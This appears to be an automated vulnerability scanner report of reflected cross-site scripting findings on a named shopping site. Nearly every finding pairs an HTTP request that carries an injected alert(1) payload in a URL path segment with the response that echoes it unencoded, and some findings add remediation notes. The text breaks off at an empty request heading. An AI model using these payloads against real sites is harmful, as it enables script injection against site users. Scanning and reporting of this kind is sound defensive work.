HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:30:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60473
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Clothing-Accessoriesceec0'-alert(1)-'cd4395f2887/194367784/Hats/56'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload d9583<script>alert(1)</script>c8095bff225 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessoriesd9583<script>alert(1)</script>c8095bff225/194367784/Hats/56 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:30:48 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60640
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessoriesd9583<script>alert(1)</script>c8095bff225 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ffcbd'-alert(1)-'88666a01ca5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784ffcbd'-alert(1)-'88666a01ca5/Hats/56 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:38:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60150
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Clothing-Accessories/194367784ffcbd'-alert(1)-'88666a01ca5/Hats/56'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b5513'-alert(1)-'9dfda8414f2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Hatsb5513'-alert(1)-'9dfda8414f2/56 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:49:52 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60444
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Clothing-Accessories/194367784/Hatsb5513'-alert(1)-'9dfda8414f2/56'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 493a4'-alert(1)-'0257898faf5 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Hats/56493a4'-alert(1)-'0257898faf5 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:53:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55302
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories/194367784/Hats/56493a4'-alert(1)-'0257898faf5'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3edbc'-alert(1)-'89c35d638a0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping3edbc'-alert(1)-'89c35d638a0/Clothing-Accessories/194367784/Jewelry/23 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:16:35 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59915
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping3edbc'-alert(1)-'89c35d638a0/Clothing-Accessories/194367784/Jewelry/23'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4bb7"><a>d9b30da8cf1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingf4bb7"><a>d9b30da8cf1/Clothing-Accessories/194367784/Jewelry/23 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:05:04 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60175
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingf4bb7"><a>d9b30da8cf1"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 4f37e<script>alert(1)</script>cb989f0910 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessories4f37e<script>alert(1)</script>cb989f0910/194367784/Jewelry/23 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:22:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61775
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessories4f37e<script>alert(1)</script>cb989f0910 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b8c49'-alert(1)-'15c2a5e3ae1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessoriesb8c49'-alert(1)-'15c2a5e3ae1/194367784/Jewelry/23 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:22:28 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61366
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessoriesb8c49'-alert(1)-'15c2a5e3ae1/194367784/Jewelry/23'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 27413'-alert(1)-'877165897ff was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/19436778427413'-alert(1)-'877165897ff/Jewelry/23 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:27:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61517
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/19436778427413'-alert(1)-'877165897ff/Jewelry/23'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff1f7'-alert(1)-'cf8a11d79b5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Jewelryff1f7'-alert(1)-'cf8a11d79b5/23 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:33:10 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61877
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories/194367784/Jewelryff1f7'-alert(1)-'cf8a11d79b5/23'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b5612'-alert(1)-'0064c52d09 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Jewelry/23b5612'-alert(1)-'0064c52d09 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:37:58 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55310
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Clothing-Accessories/194367784/Jewelry/23b5612'-alert(1)-'0064c52d09'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 93d1a'-alert(1)-'d39b65e67c4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping93d1a'-alert(1)-'d39b65e67c4/Clothing-Accessories/194367784/Leather-Goods/76 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:05:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60225
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping93d1a'-alert(1)-'d39b65e67c4/Clothing-Accessories/194367784/Leather-Goods/76'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9951"><a>177064adf8d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingd9951"><a>177064adf8d/Clothing-Accessories/194367784/Leather-Goods/76 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:55:32 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60122
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingd9951"><a>177064adf8d"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b2321'-alert(1)-'eefd3448321 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessoriesb2321'-alert(1)-'eefd3448321/194367784/Leather-Goods/76 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:10:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55448
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Clothing-Accessoriesb2321'-alert(1)-'eefd3448321/194367784/Leather-Goods/76'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 623d3<script>alert(1)</script>0209725161f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
